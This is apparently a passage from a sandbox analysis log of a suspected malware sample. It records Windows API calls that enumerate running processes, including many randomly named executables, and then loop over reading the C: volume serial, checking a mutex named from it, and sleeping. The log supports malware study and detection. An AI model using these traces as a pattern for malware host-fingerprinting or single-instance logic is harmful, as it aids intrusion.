Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0089.630] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0089.632] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0089.633] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0089.635] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.636] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0089.638] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0089.639] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.641] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0089.643] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.644] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0089.646] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0089.648] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0089.649] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0089.650] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0089.652] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0089.653] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0089.655] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0089.657] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0089.659] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0089.661] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0089.663] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0089.664] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0089.665] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0089.667] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0089.669] Process32NextW (hSnapshot=0x1c8, lppe=0x25afc74) Thread: id = 14 os_tid = 0x408 [0060.286] GetVersion () returned 0x1db10106 [0060.286] GetCurrentProcess () returned 0xffffffff [0060.286] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x24afbe4 | out: TokenHandle=0x24afbe4*=0x13c) returned 1 [0060.286] GetTokenInformation (in: TokenHandle=0x13c, TokenInformationClass=0x14, TokenInformation=0x24afbdc, TokenInformationLength=0x4, ReturnLength=0x24afbe0 | out: TokenInformation=0x24afbdc, ReturnLength=0x24afbe0) returned 1 [0060.287] CloseHandle (hObject=0x13c) returned 1 [0060.287] GetProcessHeap () returned 0x550000 [0060.287] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a260 [0060.287] GetProcessHeap () returned 0x550000 [0060.287] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a238 [0060.287] GetProcessHeap () returned 0x550000 [0060.287] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a378 [0060.287] GetProcessHeap () returned 0x550000 [0060.287] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570960 [0060.287] GetProcessHeap () returned 0x550000 [0060.287] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570960 | out: hHeap=0x550000) returned 1 [0060.288] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a238, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0060.288] GetProcessHeap () returned 0x550000 [0060.288] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.288] GetProcessHeap () returned 0x550000 [0060.288] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a260 | out: hHeap=0x550000) returned 1 [0060.288] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0060.289] GetProcessHeap () returned 0x550000 [0060.289] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a238 | out: hHeap=0x550000) returned 1 [0060.289] GetProcessHeap () returned 0x550000 [0060.289] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x564060 [0060.289] GetProcessHeap () returned 0x550000 [0060.289] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5640a8 [0060.289] GetProcessHeap () returned 0x550000 [0060.289] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5640a8, Size=0x72) returned 0x55f880 [0060.289] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x13c [0060.289] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x0) returned 0x102 [0060.290] CloseHandle (hObject=0x13c) returned 1 [0060.290] GetProcessHeap () returned 0x550000 [0060.290] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x564060 | out: hHeap=0x550000) returned 1 [0060.290] GetProcessHeap () returned 0x550000 [0060.290] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f880 | out: hHeap=0x550000) returned 1 [0060.290] Sleep (dwMilliseconds=0x3e8) [0063.236] GetProcessHeap () returned 0x550000 [0063.236] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a4e0 [0063.236] GetProcessHeap () returned 0x550000 [0063.236] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a508 [0063.236] GetProcessHeap () returned 0x550000 [0063.236] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a530 [0063.236] GetProcessHeap () returned 0x550000 [0063.236] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a968 [0063.237] GetProcessHeap () returned 0x550000 [0063.237] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a968 | out: hHeap=0x550000) returned 1 [0063.237] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a508, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0063.237] GetProcessHeap () returned 0x550000 [0063.237] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a530 | out: hHeap=0x550000) returned 1 [0063.237] GetProcessHeap () returned 0x550000 [0063.237] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4e0 | out: hHeap=0x550000) returned 1 [0063.237] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0063.237] GetProcessHeap () returned 0x550000 [0063.238] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a508 | out: hHeap=0x550000) returned 1 [0063.238] GetProcessHeap () returned 0x550000 [0063.238] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563fd0 [0063.238] GetProcessHeap () returned 0x550000 [0063.238] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564180 [0063.238] GetProcessHeap () returned 0x550000 [0063.239] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564180, Size=0x72) returned 0x55f900 [0063.239] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a0 [0063.240] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0063.240] CloseHandle (hObject=0x1a0) returned 1 [0063.240] GetProcessHeap () returned 0x550000 [0063.240] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563fd0 | out: hHeap=0x550000) returned 1 [0063.240] GetProcessHeap () returned 0x550000 [0063.240] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0063.240] Sleep (dwMilliseconds=0x3e8) [0065.033] GetProcessHeap () returned 0x550000 [0065.033] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a580 [0065.033] GetProcessHeap () returned 0x550000 [0065.033] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a5a8 [0065.033] GetProcessHeap () returned 0x550000 [0065.033] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a5d0 [0065.033] GetProcessHeap () returned 0x550000 [0065.033] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a9f8 [0065.033] GetProcessHeap () returned 0x550000 [0065.033] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a9f8 | out: hHeap=0x550000) returned 1 [0065.033] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a5a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0065.034] GetProcessHeap () returned 0x550000 [0065.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5d0 | out: hHeap=0x550000) returned 1 [0065.034] GetProcessHeap () returned 0x550000 [0065.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a580 | out: hHeap=0x550000) returned 1 [0065.034] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0065.034] GetProcessHeap () returned 0x550000 [0065.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5a8 | out: hHeap=0x550000) returned 1 [0065.034] GetProcessHeap () returned 0x550000 [0065.034] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0065.035] GetProcessHeap () returned 0x550000 [0065.035] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0065.035] GetProcessHeap () returned 0x550000 [0065.035] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0065.035] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b8 [0065.035] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0065.035] CloseHandle (hObject=0x1b8) returned 1 [0065.035] GetProcessHeap () returned 0x550000 [0065.035] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0065.036] GetProcessHeap () returned 0x550000 [0065.036] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0065.036] Sleep (dwMilliseconds=0x3e8) [0066.336] GetProcessHeap () returned 0x550000 [0066.336] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a5a8 [0066.336] GetProcessHeap () returned 0x550000 [0066.336] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a580 [0066.336] GetProcessHeap () returned 0x550000 [0066.336] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a5d0 [0066.336] GetProcessHeap () returned 0x550000 [0066.336] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x5768c0 [0066.500] GetProcessHeap () returned 0x550000 [0066.500] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5768c0 | out: hHeap=0x550000) returned 1 [0066.500] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a580, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.501] GetProcessHeap () returned 0x550000 [0066.501] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5d0 | out: hHeap=0x550000) returned 1 [0066.501] GetProcessHeap () returned 0x550000 [0066.501] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5a8 | out: hHeap=0x550000) returned 1 [0066.501] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.501] GetProcessHeap () returned 0x550000 [0066.501] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a580 | out: hHeap=0x550000) returned 1 [0066.501] GetProcessHeap () returned 0x550000 [0066.501] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0066.502] GetProcessHeap () returned 0x550000 [0066.502] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0066.502] GetProcessHeap () returned 0x550000 [0066.502] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0066.502] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c4 [0066.502] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0066.502] CloseHandle (hObject=0x1c4) returned 1 [0066.502] GetProcessHeap () returned 0x550000 [0066.502] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0066.502] GetProcessHeap () returned 0x550000 [0066.502] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0066.503] Sleep (dwMilliseconds=0x3e8) [0069.144] GetProcessHeap () returned 0x550000 [0069.144] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a5d0 [0069.144] GetProcessHeap () returned 0x550000 [0069.144] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a5f8 [0069.144] GetProcessHeap () returned 0x550000 [0069.144] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a620 [0069.144] GetProcessHeap () returned 0x550000 [0069.144] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x26820b0 [0069.144] GetProcessHeap () returned 0x550000 [0069.145] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26820b0 | out: hHeap=0x550000) returned 1 [0069.145] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a5f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0069.145] GetProcessHeap () returned 0x550000 [0069.145] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a620 | out: hHeap=0x550000) returned 1 [0069.145] GetProcessHeap () returned 0x550000 [0069.145] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5d0 | out: hHeap=0x550000) returned 1 [0069.145] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0069.146] GetProcessHeap () returned 0x550000 [0069.146] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5f8 | out: hHeap=0x550000) returned 1 [0069.146] GetProcessHeap () returned 0x550000 [0069.146] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0069.146] GetProcessHeap () returned 0x550000 [0069.146] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0069.146] GetProcessHeap () returned 0x550000 [0069.146] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f880 [0069.146] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b8 [0069.147] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0069.147] CloseHandle (hObject=0x1b8) returned 1 [0069.147] GetProcessHeap () returned 0x550000 [0069.147] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0069.148] GetProcessHeap () returned 0x550000 [0069.148] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f880 | out: hHeap=0x550000) returned 1 [0069.148] Sleep (dwMilliseconds=0x3e8) [0070.707] GetProcessHeap () returned 0x550000 [0070.707] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a5d0 [0070.707] GetProcessHeap () returned 0x550000 [0070.707] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a620 [0070.707] GetProcessHeap () returned 0x550000 [0070.707] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a648 [0070.707] GetProcessHeap () returned 0x550000 [0070.707] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x2682148 [0070.708] GetProcessHeap () returned 0x550000 [0070.708] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2682148 | out: hHeap=0x550000) returned 1 [0070.708] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a620, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0070.708] GetProcessHeap () returned 0x550000 [0070.708] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0070.708] GetProcessHeap () returned 0x550000 [0070.708] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5d0 | out: hHeap=0x550000) returned 1 [0070.708] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.808] GetProcessHeap () returned 0x550000 [0070.808] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a620 | out: hHeap=0x550000) returned 1 [0070.809] GetProcessHeap () returned 0x550000 [0070.809] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0070.809] GetProcessHeap () returned 0x550000 [0070.809] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0070.809] GetProcessHeap () returned 0x550000 [0070.809] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0070.809] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1d0 [0070.809] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0070.809] CloseHandle (hObject=0x1d0) returned 1 [0070.810] GetProcessHeap () returned 0x550000 [0070.810] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0070.810] GetProcessHeap () returned 0x550000 [0070.810] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0070.810] Sleep (dwMilliseconds=0x3e8) [0072.613] GetProcessHeap () returned 0x550000 [0072.613] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a5d0 [0072.613] GetProcessHeap () returned 0x550000 [0072.613] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a648 [0072.613] GetProcessHeap () returned 0x550000 [0072.614] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a670 [0072.614] GetProcessHeap () returned 0x550000 [0072.614] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x2682148 [0072.614] GetProcessHeap () returned 0x550000 [0072.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2682148 | out: hHeap=0x550000) returned 1 [0072.614] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a648, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0072.614] GetProcessHeap () returned 0x550000 [0072.614] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0072.614] GetProcessHeap () returned 0x550000 [0072.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5d0 | out: hHeap=0x550000) returned 1 [0072.615] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, 